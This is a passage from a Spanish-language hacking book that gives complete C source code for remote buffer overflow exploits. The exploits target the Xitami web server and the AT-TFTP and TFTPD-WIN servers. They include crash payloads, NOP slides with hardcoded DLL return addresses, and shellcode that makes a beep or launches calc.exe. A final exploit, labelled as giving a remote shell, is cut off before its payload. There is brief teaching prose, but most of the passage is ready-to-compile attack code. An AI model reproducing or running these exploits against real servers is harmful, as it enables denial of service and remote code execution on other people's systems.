} else { printf("La funcion socket se ha iniciado correctamente.\n"); } /******************************************************************** ********************[ La Estructura SOCKADDR_IN ]******************** ********************************************************************/ /* La estructura SOCKADDR_IN se usará para especificar un endpoint (punto final del canal de comunicación), el cual estará compuesto por un dominio de comunicación, una dirección IP, y un número de puerto.*/ SOCKADDR_IN AGene_Socket_Address; /*Usando el parámetro sin_family de la estructura SOCKADDR_IN para especificar un dominio de comunicación:*/ AGene_Socket_Address.sin_family = AF_INET; /*Usando el parámetro sin_port de la estructura SOCKADDR_IN para especificar un número de puerto:*/ AGene_Socket_Address.sin_port = htons(80); //Usando la estructura hostent para almacenar la dirección IP: struct hostent *AGene_Target; //Usando la función gethostbyname para almacenar la IP en AGene_Target: AGene_Target = gethostbyname(argv[1]); //Función memcpy para añadir la IP a la estructura SOCKADDR_IN memcpy(&AGene_Socket_Address.sin_addr.s_addr, AGene_Target->h_addr, AGene_Target->h_length); /******************************************************************** ***********************[ La Función Connect ]************************ ********************************************************************/ /*Declarando la variable AGene_C (C = Conectar), la cual será usada para conectar a un servidor.*/ int AGene_C = NULL; //Usando la función connect para conectar a un servidor: AGene_C = connect(AGene_Socket, (struct sockaddr *)&AGene_Socket_Address, sizeof(AGene_Socket_Address)); /*La función connect va a devolver el valor de 0 si logra conectar con el servidor; de lo contrario, la función devolverá el valor de SOCKET_ERROR.*/ if(AGene_C == 0) {
El Libro de Teraexe Alvaro J. Gene
246
printf("El exploit ha logrado conectar con el servidor.\n"); } else { printf("El exploit no logro conectar con el servidor.\n"); WSACleanup(); system("PAUSE"); return 0; } /******************************************************************** *******************[ Enviando Datos al Servidor ]******************** ********************************************************************/ //Declarando la variable AG_Info que almacenará los datos: char *AGene_Info; //Datos que se van a enviar al servidor HTTP Xitami: AGene_Info = "GET / HTTP/1.1\r\n" "Host: 192.168.1.100\r\n" "If-Modified-Since: Evil, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n\r\n"; //La función send para enviar los datos al servidor: send(AGene_Socket, AGene_Info, strlen(AGene_Info), 0); /******************************************************************** ************************[ Cerrar y Limpiar ]************************* ********************************************************************/ /*La función shutdown para finalizar la transferencia de datos. Primer parámetro: Se especifica un socket de internet. Segundo parámetro: El valor SD_SEND para dejar de enviar datos.*/ shutdown(AGene_Socket, SD_SEND); //La función closesocket para cerrar un socket: closesocket(AGene_Socket); //La función WSACleanup para dejar de usar archivos de sockets (.dll, .lib). WSACleanup(); printf("El exploit ha completado su funcionamiento...\n"); /*La función system realizará una pausa para que el usuario pueda ver la información anterior.*/ system("PAUSE");
El Libro de Teraexe Alvaro J. Gene
247
return 0; }
}
Resultado:
El Libro de Teraexe Alvaro J. Gene
248
II. Remote Buffer Overflow Exploit para AT-TFTP v1.9
En el siguiente exploit, se sobrescribirán los registros al explotar una vulnerabilidad de buffer overflow en un servidor
TFTP. En este caso, conectaremos al puerto 69 y los paquetes serán enviados mediante el protocolo UDP.
Código Fuente – Exploit para servidor AT-TFTP v1.9:
//El archivo de cabecera stdio para las funciones básicas de C: #include <stdio.h> //El archivo de cabecera winsock2.h para las funciones de sockets: #include <winsock2.h> //Enlazando winsock2 a la librería wsock32.lib: #pragma comment(lib, "wsock32.lib") //La función Principal: int main(int argc, char *argv[]) { if (argc <= 1) { printf("\n"); printf("=========================================================\n"); printf("==========[ Remote Buffer Overflow Exploit ]=============\n"); printf("============[ Attack: Denial of Service ]================\n"); printf("==============[ Application: AT-TFTP v1.9 ]==============\n"); printf("=========================================================\n\n"); printf("Author: Alvaro J. Gene (Socket_0x03)\n"); printf("Website: www.teraexe.com\n"); printf("Email: [email protected]\n\n"); printf("Uso: AGene_Exploit IP\n"); printf("Ejemplo: AGene_Exploit 192.168.1.100\n\n"); return 0; } else { printf("\n"); printf("=========================================================\n"); printf("==========[ Remote Buffer Overflow Exploit ]=============\n"); printf("============[ Attack: Denial of Service ]================\n"); printf("==============[ Application: AT-TFTP v1.9 ]==============\n"); printf("=========================================================\n\n"); printf("Author: Alvaro J. Gene (Socket_0x03)\n"); printf("Website: www.teraexe.com\n");
El Libro de Teraexe Alvaro J. Gene
249
printf("Email: [email protected]\n\n"); printf("Uso: AGene_Exploit IP\n"); printf("Ejemplo: AGene_Exploit 192.168.1.100\n\n"); /******************************************************************** **********************[ La Función WSASTartup ]********************** ********************************************************************/ //La estructura WSADATA para almacenar datos de sockets en la variable AGene_WSA: WSADATA AGene_WSA; //La función WSAStarup para comenzar a usar archivos de sockets (.dll). //La palabra MAKEWORD para especificar la versión de los sockets. int AGene_Result = WSAStartup(MAKEWORD(1,1), &AGene_WSA); /*La función WSAStartup devolverá el valor de 0 si logra realizar su tarea; de lo contrario, la función devolverá el valor de 1.*/ if(AGene_Result == 0) { printf("WSASTartup se ha iniciado correctamente.\n"); } else { printf("WSAStartup no se ha iniciado correctamente.\n"); //La función WSACleanup para dejar de usar archivos de sockets (.dll, .lib). WSACleanup(); /*La función system realizará una pausa para que el usuario pueda ver la información anterior.*/ system("PAUSE"); return 0; } /******************************************************************** ************************[ La función Socket ]************************ ********************************************************************/ /*Declarando la variable AGene_Socket, la cual será usada en el futuro para crear un network socket*/ int AGene_Socket = NULL; //Usando la función socket para construir un socket: AGene_Socket = socket(AF_INET, SOCK_DGRAM, 0); //Si existe algún error, la función socket devolverá invalid_socket: if(AGene_Socket == INVALID_SOCKET) { printf("La funcion socket no se ha iniciado correctamente.\n");
El Libro de Teraexe Alvaro J. Gene
250
WSACleanup(); system("PAUSE"); return 0; } else { printf("La funcion socket se ha iniciado correctamente.\n"); } /******************************************************************** ********************[ La Estructura SOCKADDR_IN ]******************** ********************************************************************/ /* La estructura SOCKADDR_IN se usará para especificar un endpoint (punto final del canal de comunicación), el cual estará compuesto por un dominio de comunicación, una dirección IP, y un número de puerto.*/ SOCKADDR_IN AGene_Socket_Address; /*Usando el parámetro sin_family de la estructura SOCKADDR_IN para especificar un dominio de comunicación:*/ AGene_Socket_Address.sin_family = AF_INET; /*Usando el parámetro sin_port de la estructura SOCKADDR_IN para especificar un número de puerto:*/ AGene_Socket_Address.sin_port = htons(69); //Usando la estructura hostent para almacenar la dirección IP: struct hostent *AGene_Target; //Usando la función gethostbyname para almacenar la IP en AGene_Target: AGene_Target = gethostbyname(argv[1]); //Función memcpy para añadir la IP a la estructura SOCKADDR_IN memcpy(&AGene_Socket_Address.sin_addr.s_addr, AGene_Target->h_addr, AGene_Target->h_length); /******************************************************************** ***********************[ La Función Connect ]************************ ********************************************************************/ /*Declarando la variable AGene_C (C = Conectar), la cual será usada para conectar a un servidor.*/ int AGene_C = NULL; //Usando la función connect para conectar a un servidor: AGene_C = connect(AGene_Socket, (struct sockaddr *)&AGene_Socket_Address, sizeof(AGene_Socket_Address));
El Libro de Teraexe Alvaro J. Gene
251
/*La función connect va a devolver el valor de 0 si logra conectar con el servidor; de lo contrario, la función devolverá el valor de SOCKET_ERROR.*/ if(AGene_C == 0) { printf("El exploit ha logrado conectar con el servidor.\n"); } else { printf("La funcion connect no funciona adecuadamente.\n"); WSACleanup(); system("PAUSE"); return 0; } /******************************************************************** *******************[ Enviando Datos al Servidor ]******************** ********************************************************************/ //Declarando la variable AGene_Info que almacenará los datos: char AGene_Info[] = "\x00\x02" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" //50 bytes "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" //300 bytes "\0" "netascii" "\0"; //La función send para enviar los datos al servidor: send(AGene_Socket, AGene_Info, sizeof(AGene_Info)+1, 0); /******************************************************************** ************************[ Cerrar y Limpiar ]************************* ********************************************************************/ /*La función shutdown para finalizar la transferencia de datos. Primer parámetro: Se especifica un socket de internet. Segundo parámetro: El valor SD_SEND para dejar de enviar datos.*/ shutdown(AGene_Socket, SD_SEND); //La función closesocket para cerrar un network socket: closesocket(AGene_Socket);
El Libro de Teraexe Alvaro J. Gene
252
//La función WSACleanup para dejar de usar archivos de sockets (.dll, .lib). WSACleanup(); printf("El exploit ha completado su funcionamiento...\n"); /*La función system realizará una pausa para que el usuario pueda ver la información anterior.*/ system("PAUSE"); return 0; } }
Resultado:
El Libro de Teraexe Alvaro J. Gene
253
III. Remote Buffer Overflow Exploit para Xitami usando Shellcode de Beep
En las secciones anteriores, aprendimos a utilizar el lenguaje de programación C para desarrollar buffer overflow
exploits que ejecutan shellcodes localmente. En esta sección y otras que le siguen, aprenderemos a desarrollar buffer
overflow exploits que ejecutan shellcodes remotamente. Como el procedimiento se va a efectuar de forma remota en
aquellas aplicaciones que trabajan como servidores, es importante que un informático tenga en cuenta los siguientes
puntos que se muestran a continuación:
La Instrucción NOP (No-Operation): La instrucción NOP del lenguaje ensamblador se encarga de decirle a una
aplicación que pase a la siguiente instrucción. Cuando un informático desea utilizar la instrucción NOP dentro de su
exploit, él/ella solamente tiene que utilizar el valor de x90.
La Técnica del NOP Slide: En las vulnerabilidades de buffer overflow, después de que se desborda la memoria y se
sobrescribe el registro EIP (dirección de retorno) con la dirección de memoria de alguna .dll (como por ejemplo el
CALL ESP del kernel32.dll), el exploit debe realizar un salto a una dirección de memoria específica para que la
shellcode se pueda ejecutar satisfactoriamente. Si un informático usa un desensamblador como OllyDBG, él/ella podría
ver esa dirección de memoria y posteriormente incluirla dentro de su exploit; sin embargo, esa dirección de memoria
podría cambiar cada vez que se ejecute el programa, por lo tanto, la solución a este inconveniente es aplicar la técnica
del NOP slide, la cual consiste en colocar una cadena de NOPs (\x90\x90\x90…) para que la aplicación salte a la
dirección de memoria del NOP y luego pueda caer en las direcciones de memoria de la shellcode. Para ponerlo de otra
forma, como el atacante no sabe exactamente la dirección de memoria en que la aplicación va a caer después de
desbordar la memoria y colocar el CALL ESP de una .dll, el atacante coloca una gran cantidad de NOPs
(\x90\x90\x90…) para que la aplicación caiga en una de las direcciones de memoria de los NOPs. Al caer en esos
valores, la aplicación continúa ejecutando los siguientes NOPs hasta llegar a las direcciones de la shellcode.
El Libro de Teraexe Alvaro J. Gene
254
Código Fuente – Exploit para servidor Xitami:
//El archivo de cabecera stdio para las funciones básicas de C: #include <stdio.h> //El archivo de cabecera winsock2.h para las funciones de sockets: #include <winsock2.h> //Enlazando winsock2 a la librería wsock32.lib: #pragma comment(lib, "wsock32.lib") //La función Principal: int main(int argc, char *argv[]) { if (argc <= 1) { printf("\n"); printf("=========================================================\n"); printf("==========[ Remote Buffer Overflow Exploit ]=============\n"); printf("=============[ Application: Xitami v2.5c2 ]==============\n"); printf("=================[ Impact: Beep Sound ]==================\n"); printf("=========================================================\n\n"); printf("Author: Alvaro J. Gene (Socket_0x03)\n"); printf("Website: www.teraexe.com\n"); printf("Email: [email protected]\n\n"); printf("Uso: AGene_Exploit IP\n"); printf("Ejemplo: AGene_Exploit 192.168.1.100\n\n"); return 0; } else { printf("\n"); printf("=========================================================\n"); printf("==========[ Remote Buffer Overflow Exploit ]=============\n"); printf("=============[ Application: Xitami v2.5c2 ]==============\n"); printf("=================[ Impact: Beep Sound ]==================\n"); printf("=========================================================\n\n"); printf("Author: Alvaro J. Gene (Socket_0x03)\n"); printf("Website: www.teraexe.com\n"); printf("Email: [email protected]\n\n"); printf("Uso: AGene_Exploit IP\n"); printf("Ejemplo: AGene_Exploit 192.168.1.100\n\n"); /******************************************************************** **********************[ La Función WSASTartup ]**********************
El Libro de Teraexe Alvaro J. Gene
255
********************************************************************/ //La estructura WSADATA para almacenar datos de sockets en la variable AGene_WSA: WSADATA AGene_WSA; //La función WSAStarup para comenzar a usar archivos de sockets (.dll). //La palabra MAKEWORD para especificar la versión de los sockets (2.0). int AG_Result = WSAStartup(MAKEWORD(2,0), &AGene_WSA); /*La función WSAStartup devolverá el valor de 0 si logra realizar su tarea; de lo contrario, la función devolverá el valor de 1.*/ if(AG_Result == 0) { printf("WSASTartup se ha iniciado correctamente.\n"); } else { printf("WSAStartup no se ha iniciado correctamente.\n"); //La función WSACleanup para dejar de usar archivos de sockets (.dll, .lib). WSACleanup(); /*La función system realizará una pausa para que el usuario pueda ver la información anterior.*/ system("PAUSE"); return 0; } /******************************************************************** ************************[ La función Socket ]************************ ********************************************************************/ /*Declarando la variable AGene_Socket, la cual será usada en el futuro para crear un socket de internet.*/ int AGene_Socket = NULL; //Usando la función socket para construir un socket: AGene_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); //Si existe algún error, la función socket devolverá invalid_socket: if(AGene_Socket == INVALID_SOCKET) { printf("La funcion socket no se ha iniciado correctamente.\n"); WSACleanup(); system("PAUSE"); return 0;
El Libro de Teraexe Alvaro J. Gene
256
} else { printf("La funcion socket se ha iniciado correctamente.\n"); } /******************************************************************** ********************[ La Estructura SOCKADDR_IN ]******************** ********************************************************************/ /* La estructura SOCKADDR_IN se usará para especificar un endpoint (punto final del canal de comunicación), el cual estará compuesto por un dominio de comunicación, una dirección IP, y un número de puerto.*/ SOCKADDR_IN AGene_Socket_Address; /*Usando el parámetro sin_family de la estructura SOCKADDR_IN para especificar un dominio de comunicación:*/ AGene_Socket_Address.sin_family = AF_INET; /*Usando el parámetro sin_port de la estructura SOCKADDR_IN para especificar un número de puerto:*/ AGene_Socket_Address.sin_port = htons(80); //Usando la estructura hostent para almacenar la dirección IP: struct hostent *AGene_Target; //Usando la función gethostbyname para almacenar la IP en AGene_Target: AGene_Target = gethostbyname(argv[1]); //Función memcpy para añadir la IP a la estructura SOCKADDR_IN memcpy(&AGene_Socket_Address.sin_addr.s_addr, AGene_Target->h_addr, AGene_Target->h_length); /******************************************************************** ***********************[ La Función Connect ]************************ ********************************************************************/ /*Declarando la variable AGene_C (C = Conectar), la cual será usada para conectar a un servidor.*/ int AGene_C = NULL; //Usando la función connect para conectar a un servidor: AGene_C = connect(AGene_Socket, (struct sockaddr *)&AGene_Socket_Address, sizeof(AGene_Socket_Address)); /*La función connect va a devolver el valor de 0 si logra conectar con el servidor; de lo contrario, la función devolverá el valor de SOCKET_ERROR.*/ if(AGene_C == 0) {
El Libro de Teraexe Alvaro J. Gene
257
printf("El exploit ha logrado conectar con el servidor.\n"); } else { printf("El exploit no logro conectar con el servidor.\n"); WSACleanup(); system("PAUSE"); return 0; } /******************************************************************** *******************[ Enviando Datos al Servidor ]******************** ********************************************************************/ //Declarando la variable AGene_Info que almacenará los datos: char *AGene_Info; //Datos que se van a enviar al servidor HTTP Xitami (examinado en Windows XP SP2): AGene_Info = "GET / HTTP/1.1\r\n" "Host: 192.168.1.100\r\n" "If-Modified-Since: Evil, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "\x5D\x38\x82\x7C" " // CALL ESP de Kernel32.dll "\xeb\x22" // salto + 0x22 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10 NOPs "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10 "\x90\x90\x90\x90\x90\x90\x90\x90" // 128 NOPs "\x31\xC0\x31\xDB\x31\xD2\xB8" //Beep Shellcode. "\x53\x8A\x83\x7C\x66\xBB\x08" "\x02\x66\xBA\xA0\x0F\x53\x52" "\xFF\xD0" "\r\n\r\n"; //La función send para enviar los datos al servidor: send(AGene_Socket, AGene_Info, strlen(AGene_Info), 0); /******************************************************************** ************************[ Cerrar y Limpiar ]*************************
El Libro de Teraexe Alvaro J. Gene
258
********************************************************************/ /*La función shutdown para finalizar la transferencia de datos. Primer parámetro: Se especifica un socket de internet. Segundo parámetro: El valor SD_SEND para dejar de enviar datos.*/ shutdown(AGene_Socket, SD_SEND); //La función closesocket para cerrar un socket: closesocket(AGene_Socket); //La función WSACleanup para dejar de usar archivos de sockets (.dll, .lib). WSACleanup(); printf("El exploit ha completado su funcionamiento...\n"); /*La función system realizará una pausa para que el usuario pueda ver la información anterior.*/ system("PAUSE"); return 0; } }
Resultado:
Después de ejecutar el exploit, se escuchará el sonido del Beep.
El Libro de Teraexe Alvaro J. Gene
259
IV. Remote Buffer Overflow Exploit para Xitami usando Shellcode de Calc
Código Fuente – Exploit para servidor Xitami:
//El archivo de cabecera stdio para las funciones básicas de C: #include <stdio.h> //El archivo de cabecera winsock2.h para las funciones de sockets: #include <winsock2.h> //Enlazando winsock2 a la librería wsock32.lib: #pragma comment(lib, "wsock32.lib") //La función Principal: int main(int argc, char *argv[]) { if (argc <= 1) { printf("\n"); printf("=========================================================\n"); printf("==========[ Remote Buffer Overflow Exploit ]=============\n"); printf("===============[ Impact: Execute calc.exe ]==============\n"); printf("=============[ Application: Xitami v2.5c2 ]==============\n"); printf("=========================================================\n\n"); printf("Author: Alvaro J. Gene (Socket_0x03)\n"); printf("Website: www.teraexe.com\n"); printf("Email: [email protected]\n\n"); printf("Uso: AGene_Exploit IP\n"); printf("Ejemplo: AGene_Exploit 192.168.1.100\n\n"); return 0; } else { printf("\n"); printf("=========================================================\n"); printf("==========[ Remote Buffer Overflow Exploit ]=============\n"); printf("===============[ Impact: Execute calc.exe ]==============\n"); printf("=============[ Application: Xitami v2.5c2 ]==============\n"); printf("=========================================================\n\n"); printf("Author: Alvaro J. Gene (Socket_0x03)\n"); printf("Website: www.teraexe.com\n"); printf("Email: [email protected]\n\n"); printf("Uso: AGene_Exploit IP\n"); printf("Ejemplo: AGene_Exploit 192.168.1.100\n\n");
El Libro de Teraexe Alvaro J. Gene
260
/******************************************************************** **********************[ La Función WSASTartup ]********************** ********************************************************************/ //La estructura WSADATA para almacenar datos de sockets en la variable AGene_WSA: WSADATA AGene_WSA; //La función WSAStarup para comenzar a usar archivos de sockets (.dll). //La palabra MAKEWORD para especificar la versión de los sockets (2.0). int AG_Result = WSAStartup(MAKEWORD(2,0), &AGene_WSA); /*La función WSAStartup devolverá el valor de 0 si logra realizar su tarea; de lo contrario, la función devolverá el valor de 1.*/ if(AG_Result == 0) { printf("WSASTartup se ha iniciado correctamente.\n"); } else { printf("WSAStartup no se ha iniciado correctamente.\n"); //La función WSACleanup para dejar de usar archivos de sockets (.dll, .lib). WSACleanup(); /*La función system realizará una pausa para que el usuario pueda ver la información anterior.*/ system("PAUSE"); return 0; } /******************************************************************** ************************[ La función Socket ]************************ ********************************************************************/ /*Declarando la variable AGene_Socket, la cual será usada en el futuro para crear un socket de internet.*/ int AGene_Socket = NULL; //Usando la función socket para construir un socket: AGene_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); //Si existe algún error, la función socket devolverá invalid_socket: if(AGene_Socket == INVALID_SOCKET) { printf("La funcion socket no se ha iniciado correctamente.\n"); WSACleanup(); system("PAUSE");
El Libro de Teraexe Alvaro J. Gene
261
return 0; } else { printf("La funcion socket se ha iniciado correctamente.\n"); } /******************************************************************** ********************[ La Estructura SOCKADDR_IN ]******************** ********************************************************************/ /* La estructura SOCKADDR_IN se usará para especificar un endpoint (punto final del canal de comunicación), el cual estará compuesto por un dominio de comunicación, una dirección IP, y un número de puerto.*/ SOCKADDR_IN AGene_Socket_Address; /*Usando el parámetro sin_family de la estructura SOCKADDR_IN para especificar un dominio de comunicación:*/ AGene_Socket_Address.sin_family = AF_INET; /*Usando el parámetro sin_port de la estructura SOCKADDR_IN para especificar un número de puerto:*/ AGene_Socket_Address.sin_port = htons(80); //Usando la estructura hostent para almacenar la dirección IP: struct hostent *AGene_Target; //Usando la función gethostbyname para almacenar la IP en AGene_Target: AGene_Target = gethostbyname(argv[1]); //Función memcpy para añadir la IP a la estructura SOCKADDR_IN memcpy(&AGene_Socket_Address.sin_addr.s_addr, AGene_Target->h_addr, AGene_Target->h_length); /******************************************************************** ***********************[ La Función Connect ]************************ ********************************************************************/ /*Declarando la variable AGene_C (C = Conectar), la cual será usada para conectar a un servidor.*/ int AGene_C = NULL; //Usando la función connect para conectar a un servidor: AGene_C = connect(AGene_Socket, (struct sockaddr *)&AGene_Socket_Address, sizeof(AGene_Socket_Address)); /*La función connect va a devolver el valor de 0 si logra conectar con el servidor; de lo contrario, la función devolverá el valor de SOCKET_ERROR.*/
El Libro de Teraexe Alvaro J. Gene
262
if(AGene_C == 0) { printf("El exploit ha logrado conectar con el servidor.\n"); } else { printf("El exploit no logro conectar con el servidor.\n"); WSACleanup(); system("PAUSE"); return 0; } /******************************************************************** *******************[ Enviando Datos al Servidor ]******************** ********************************************************************/ //Declarando la variable AGene_Info que almacenará los datos: char *AGene_Info; //Datos que se van a enviar al servidor HTTP Xitami (examinado en Windows XP SP2): AGene_Info = "GET / HTTP/1.1\r\n" "Host: 192.168.1.100\r\n" "If-Modified-Since: Evil, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "\x65\x82\xA6\x7C" // JMP ESP de Shell32.dll "\xeb\x22" // jmp short + 0x22 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10 NOPs "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10 "\x90\x90\x90\x90\x90\x90\x90\x90" //128 NOPs "\x6a\x22\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8d\x6c\xf6" //Shellcode para ejecutar calc. "\xb2\x83\xeb\xfc\xe2\xf4\x71\x84\xb2\xb2\x8d\x6c\x7d\xf7\xb1\xe7" "\x8a\xb7\xf5\x6d\x19\x39\xc2\x74\x7d\xed\xad\x6d\x1d\xfb\x06\x58" "\x7d\xb3\x63\x5d\x36\x2b\x21\xe8\x36\xc6\x8a\xad\x3c\xbf\x8c\xae" "\x1d\x46\xb6\x38\xd2\xb6\xf8\x89\x7d\xed\xa9\x6d\x1d\xd4\x06\x60" "\xbd\x39\xd2\x70\xf7\x59\x06\x70\x7d\xb3\x66\xe5\xaa\x96\x89\xaf" "\xc7\x72\xe9\xe7\xb6\x82\x08\xac\x8e\xbe\x06\x2c\xfa\x39\xfd\x70" "\x5b\x39\xe5\x64\x1d\xbb\x06\xec\x46\xb2\x8d\x6c\x7d\xda\xb1\x33" "\xc7\x44\xed\x3a\x7f\x4a\x0e\xac\x8d\xe2\xe5\x9c\x7c\xb6\xd2\x04"
El Libro de Teraexe Alvaro J. Gene
263
"\x6e\x4c\x07\x62\xa1\x4d\x6a\x0f\x97\xde\xee\x6c\xf6\xb2" "\r\n\r\n"; //La función send para enviar los datos al servidor: send(AGene_Socket, AGene_Info, strlen(AGene_Info), 0); /******************************************************************** ************************[ Cerrar y Limpiar ]************************* ********************************************************************/ /*La función shutdown para finalizar la transferencia de datos. Primer parámetro: Se especifica un socket de internet. Segundo parámetro: El valor SD_SEND para dejar de enviar datos.*/ shutdown(AGene_Socket, SD_SEND); //La función closesocket para cerrar un socket: closesocket(AGene_Socket); //La función WSACleanup para dejar de usar archivos de sockets (.dll, .lib). WSACleanup(); printf("El exploit ha completado su funcionamiento...\n"); /*La función system realizará una pausa para que el usuario pueda ver la información anterior.*/ system("PAUSE"); return 0; } }
El Libro de Teraexe Alvaro J. Gene
264
Resultado:
El Libro de Teraexe Alvaro J. Gene
265
V. Remote Buffer Overflow Exploit para TFTPD-WIN v.0.4.2 usando Shellcode
Código Fuente – Exploit para servidor TFTPD-WIN:
//El archivo de cabecera stdio para las funciones básicas de C: #include <stdio.h> //El archivo de cabecera winsock2.h para las funciones de sockets: #include <winsock2.h> //Enlazando winsock2 a la librería wsock32.lib: #pragma comment(lib, "wsock32.lib") //La función Principal: int main(int argc, char *argv[]) { if (argc <= 1) { printf("\n"); printf("=========================================================\n"); printf("===========[ Remote Buffer Overflow Exploit ]============\n"); printf("============[ Application: TFTPDWIN v0.4.2 ]=============\n"); printf("===============[ Attack: Remote Shell ]==================\n"); printf("=========================================================\n\n"); printf("Author: Alvaro J. Gene (Socket_0x03)\n"); printf("Website: www.teraexe.com\n"); printf("Email: [email protected]\n\n"); printf("Uso: AGene_Exploit IP\n"); printf("Ejemplo: AGene_Exploit 192.168.1.100\n\n"); return 0; } else { printf("\n"); printf("=========================================================\n"); printf("===========[ Remote Buffer Overflow Exploit ]============\n"); printf("============[ Application: TFTPDWIN v0.4.2 ]=============\n"); printf("===============[ Attack: Remote Shell ]==================\n"); printf("=========================================================\n\n"); printf("Author: Alvaro J. Gene (Socket_0x03)\n"); printf("Website: www.teraexe.com\n"); printf("Email: [email protected]\n\n"); printf("Uso: AGene_Exploit IP\n"); printf("Ejemplo: AGene_Exploit 192.168.1.100\n\n");
El Libro de Teraexe Alvaro J. Gene
266
/******************************************************************** **********************[ La Función WSASTartup ]********************** ********************************************************************/ //La estructura WSADATA para almacenar datos de sockets en la variable AGene_WSA: WSADATA AGene_WSA; //La función WSAStarup para comenzar a usar archivos de sockets (.dll). //La palabra MAKEWORD para especificar la versión de los sockets. int AGene_Result = WSAStartup(MAKEWORD(1,1), &AGene_WSA); /*La función WSAStartup devolverá el valor de 0 si logra realizar su tarea; de lo contrario, la función devolverá el valor de 1.*/ if(AGene_Result == 0) { printf("WSASTartup se ha iniciado correctamente.\n"); } else { printf("WSAStartup no se ha iniciado correctamente.\n"); //La función WSACleanup para dejar de usar archivos de sockets (.dll, .lib). WSACleanup(); /*La función system realizará una pausa para que el usuario pueda ver la información anterior.*/ system("PAUSE"); return 0; } /******************************************************************** ************************[ La función Socket ]************************ ********************************************************************/ /*Declarando la variable AGene_Socket, la cual será usada en el futuro para crear un network socket*/ int AGene_Socket = NULL; //Usando la función socket para construir un socket: AGene_Socket = socket(AF_INET, SOCK_DGRAM, 0); //Si existe algún error, la función socket devolverá invalid_socket: if(AGene_Socket == INVALID_SOCKET) { printf("La funcion socket no se ha iniciado correctamente.\n"); WSACleanup(); system("PAUSE");
El Libro de Teraexe Alvaro J. Gene
267
return 0; } else { printf("La funcion socket se ha iniciado correctamente.\n"); } /******************************************************************** ********************[ La Estructura SOCKADDR_IN ]******************** ********************************************************************/ /* La estructura SOCKADDR_IN se usará para especificar un endpoint (punto final del canal de comunicación), el cual estará compuesto por un dominio de comunicación, una dirección IP, y un número de puerto.*/ SOCKADDR_IN AGene_Socket_Address; /*Usando el parámetro sin_family de la estructura SOCKADDR_IN para especificar un dominio de comunicación:*/ AGene_Socket_Address.sin_family = AF_INET; /*Usando el parámetro sin_port de la estructura SOCKADDR_IN para especificar un número de puerto:*/ AGene_Socket_Address.sin_port = htons(69); //Usando la estructura hostent para almacenar la dirección IP: struct hostent *AGene_Target; //Usando la función gethostbyname para almacenar la IP en AGene_Target: AGene_Target = gethostbyname(argv[1]); //Función memcpy para añadir la IP a la estructura SOCKADDR_IN memcpy(&AGene_Socket_Address.sin_addr.s_addr, AGene_Target->h_addr, AGene_Target->h_length); /******************************************************************** ***********************[ La Función Connect ]************************ ********************************************************************/ /*Declarando la variable AGene_C (C = Conectar), la cual será usada para conectar a un servidor.*/ int AGene_C = NULL; //Usando la función connect para conectar a un servidor: AGene_C = connect(AGene_Socket, (struct sockaddr *)&AGene_Socket_Address, sizeof(AGene_Socket_Address)); /*La función connect va a devolver el valor de 0 si logra conectar con el servidor; de lo contrario, la función devolverá el valor de SOCKET_ERROR.*/
El Libro de Teraexe Alvaro J. Gene
268
